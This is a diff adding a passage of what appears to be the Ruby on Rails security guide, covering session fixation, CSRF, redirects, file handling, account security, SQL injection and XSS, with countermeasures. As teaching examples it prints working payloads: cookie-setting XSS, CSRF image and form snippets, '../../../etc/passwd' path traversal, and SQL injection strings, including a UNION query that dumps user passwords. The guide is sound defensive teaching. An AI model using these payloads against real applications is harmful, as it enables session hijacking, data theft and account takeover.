+Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
+
+The best _solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
+
+### Session Fixation
+
+NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
+
+
+
+This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
+
+* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
+* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
+* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injec [...]
+* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
+* As the new trap session is unused, the web application will require the user to authenticate.
+* From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
+
+### Session Fixation – Countermeasures
+
+TIP: _One line of code will protect you from session fixation._
+
+The most effective countermeasure is to _issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
+
+```ruby
+reset_session
+```
+
+If you use the popular RestfulAuthentication plugin for user management, add reset\_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_.
+
+Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course [...]
+
+### Session Expiry
+
+NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
+
+One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.
+
+```ruby
+class Session < ActiveRecord::Base
+ def self.sweep(time = 1.hour)
+ if time.is_a?(String)
+ time = time.split.inject { |count, unit| count.to_i.send(unit) }
+ end
+
+ delete_all "updated_at < '#{time.ago.to_s(:db)}'"
+ end
+end
+```
+
+The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
+
+```ruby
+delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
+ created_at < '#{2.days.ago.to_s(:db)}'"
+```
+
+Cross-Site Request Forgery (CSRF)
+---------------------------------
+
+This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.
+
+
+
+In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of [...]
+
+* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
+* `<img src="http://www.webapp.com/project/1/destroy">`
+* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
+* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
+* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
+* Bob doesn't notice the attack — but a few days later he finds out that project number one is gone.
+
+It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
+
+CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) — less than 0.1% in 2006 — but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _CSRF is an important security issue_.
+
+### CSRF Countermeasures
+
+NOTE: _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
+
+The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
+
+**Use GET if:**
+
+* The interaction is more _like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
+
+**Use POST if:**
+
+* The interaction is more _like an order_, or
+* The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
+* The user is _held accountable for the results_ of the interaction.
+
+If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier.
+
+_POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
+
+```html
+<a href="http://www.harmless.com/" onclick="
+ var f = document.createElement('form');
+ f.style.display = 'none';
+ this.parentNode.appendChild(f);
+ f.method = 'POST';
+ f.action = 'http://www.example.com/account/destroy';
+ f.submit();
+ return false;">To the harmless survey</a>
+```
+
+Or the attacker places the code into the onmouseover event handler of an image:
+
+```html
+<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
+```
+
+There are many other possibilities, including Ajax to attack the victim in the background.
The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
+
+```ruby
+protect_from_forgery secret: "123456789012345678901234567890..."
+```
+
+This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error.
+
+It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
+
+```ruby
+def handle_unverified_request
+ super
+ sign_out_user # Example method that will destroy the user cookies.
+end
+```
+
+The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request.
+
+Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+
+Redirection and Files
+---------------------
+
+Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
+
+### Redirection
+
+WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
+
+Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web applicati [...]
+
+```ruby
+def legacy
+ redirect_to(params.update(action:'main'))
+end
+```
+
+This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
+
+```
+http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
+```
+
+If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _And if you redirect to an URL, check it with a whitelist or a regular expression_.
+
+#### Self-contained XSS
+
+Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
+
+`data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K`
+
+This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _do not allow the user to supply (parts of) the URL to be redirected to_.
+
+### File Uploads
+
+NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
+
+Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and [...]
+
+When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or [...]
+
+```ruby
+def sanitize_filename(filename)
+ filename.strip.tap do |name|
+ # NOTE: File.basename doesn't work right with Windows paths on Unix
+ # get only the filename, not the whole path
+ name.sub! /\A.*(\\|\/)/, ''
+ # Finally, replace all non alphanumeric, underscore
+ # or periods with underscore
+ name.gsub! /[^\w\.\-]/, '_'
+ end
+end
+```
+
+A significant disadvantage of synchronous processing of file uploads (as the attachment\_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+
+The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
+
+### Executable Code in File Uploads
+
+WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
+
+The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads [...]
+
+_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
+
+### File Downloads
+
+NOTE: _Make sure users cannot download arbitrary files._
+
+Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
+
+```ruby
+send_file('/var/www/uploads/' + params[:filename])
+```
+
+Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
+
+```ruby
+basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
+filename = File.expand_path(File.join(basename, @file.public_filename))
+raise if basename !=
+ File.expand_path(File.join(File.dirname(filename), '../../../'))
+send_file filename, disposition: 'inline'
+```
+
+Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
+
+Intranet and Admin Security
+---------------------------
+
+Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.
+
+In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
+
+**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
+
+Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
+
+Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
+
+**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+
+A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a [...]
+
+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
+
+Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
+
+For _countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
+
+### Additional Precautions
+
+The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
+
+* It is very important to _think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
+
+* Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+
+* _Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+
+User Management
+---------------
+
+NOTE: _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
+
+There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
+
+Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
+
+```
+http://localhost:3006/user/activate
+http://localhost:3006/user/activate?id=
+```
+
+This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
+
+```ruby
+User.find_by_activation_code(params[:id])
+```
+
+If the parameter was nil, the resulting SQL query will be
+
+```sql
+SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
+```
+
+And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
+
+### Brute-Forcing Accounts
+
+NOTE: _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
+
+A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
+
+Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.
+
+However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
+
+In order to mitigate such attacks, _display a generic error message on forgot-password pages, too_. Moreover, you can _require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
+
+### Account Hijacking
+
+Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?.
+
+#### Passwords
+
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require [...]
+
+#### E-Mail
+
+However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
+
+#### Other
+
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If [...]
+
+### CAPTCHAs
+
+INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
+
+But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in [...]
+
+You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
+
+Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
+
+Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
+
+* position the fields off of the visible area of the page
+* make the elements very small or color them the same as the background of the page
+* leave the fields displayed, but tell humans to leave them blank
+
+The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
+
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html:)
+
+* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
+* Randomize the field names
+* Include more than one honeypot field of all types, including submission buttons
+
+Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _negative CAPTCHAs might not be good to protect login forms_.
+
+### Logging
+
+WARNING: _Tell Rails not to put passwords in the log files._
+
+By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _filter certain request parameters fr [...]
+
+```ruby
+config.filter_parameters << :password
+```
+
+### Good Passwords
+
+INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
+
+Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+
+password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
+
+It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
+
+A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
+
+### Regular Expressions
+
+INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
+
+Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
+
+```ruby
+ /^https?:\/\/[^\n]+$/i
+```
+
+This may work fine in some languages. However, _in Ruby ^ and $ match the **line** beginning and line end_. And thus a URL like this passes the filter without problems:
+
+```
+javascript:exploit_code();/*
+http://hi.com
+*/
+```
+
+This URL passes the filter because the regular expression matches – the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
+
+```ruby
+ link_to "Homepage", @user.homepage
+```
+
+The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides.
+
+To fix the regular expression, \A and \z should be used instead of ^ and $, like so:
+
+```ruby
+ /\Ahttps?:\/\/[^\n]+\z/i
+```
+
+Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:
+
+```ruby
+ # content should include a line "Meanwhile" anywhere in the string
+ validates :content, format: { with: /^Meanwhile$/, multiline: true }
+```
+
+Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the **line** beginning and line end in Ruby, and not the beginning and end of a string.
+
+### Privilege Escalation
+
+WARNING: _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
+
+The most common parameter that a user might tamper with, is the id parameter, as in `http://www.domain.com/project/1`, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
+
+```ruby
+ at project = Project.find(params[:id])
+```
+
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_:
+
+```ruby
+ at project = @current_user.projects.find(params[:id])
+```
+
+Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
+
+Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are ev [...]
+
+Injection
+---------
+
+INFO: _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
+
+Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
+
+### Whitelists versus Blacklists
+
+NOTE: _When sanitizing, protecting or verifying something, whitelists over blacklists._
+
+A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_:
+
+* Use before_action only: [...] instead of except: [...]. This way you don't forget to turn it off for newly added actions.
+* Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.
+* Don't try to correct user input by blacklists:
+ * This will make the attack work: "<sc<script>ript>".gsub("<script>", "")
+ * But reject malformed input
+
+Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
+
+### SQL Injection
+
+INFO: _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
+
+#### Introduction
+
+SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
+
+```ruby
+Project.where("name = '#{params[:name]}'")
+```
+
+This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
+
+```sql
+SELECT * FROM projects WHERE name = '' OR 1 --'
+```
+
+The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
+
+#### Bypassing Authorization
+
+Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+
+```ruby
+User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
+```
+
+If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
+
+```sql
+SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
+```
+
+This will simply find the first record in the database, and grants access to this user.
+
+#### Unauthorized Reading
+
+The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
+
+```ruby
+Project.where("name = '#{params[:name]}'")
+```
+
+And now let's inject another query using the UNION statement:
+
+```
+') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
+```
+
+This will result in the following SQL query:
+
+```sql
+SELECT * FROM projects WHERE (name = '') UNION
+ SELECT id,login AS name,password AS description,1,1,1 FROM users --'
+```
+
+The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
+
+Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails [to at least 2.1.1](http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/).
+
+#### Countermeasures
+
+Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually</em>.
+
+Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
+
+```ruby
+Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
+```
+
+As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
+
+```ruby
+Model.where(login: entered_user_name, password: entered_password).first
+```
+
+The array or hash form is only available in model instances. You can try `sanitize_sql()` elsewhere. _Make it a habit to think about the security consequences when using an external string in SQL_.
+
+### Cross-Site Scripting (XSS)
+
+INFO: _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
+
+#### Entry Points
+
+An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
+
+The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheade [...]
+
+XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the w [...]
+
+During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](http://pandalabs.pandasecurity.com/mpack-uncovered/) is a very active and up-to-date a [...]
+
+A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to [Trend Micro](http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/).
+
+#### HTML/JavaScript Injection
+
+The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _Escaping user input is essential_.
+
+Here is the most straightforward test to check for XSS:
+
+```html
+<script>alert('Hello');</script>
+```
+
+This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
+
+```html
+<img src=javascript:alert('Hello')>
+<table background="javascript:alert('Hello')">
+```
+
+##### Cookie Theft
+
+These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed th [...]
+
+```
+<script>document.write(document.cookie);</script>
+```
+
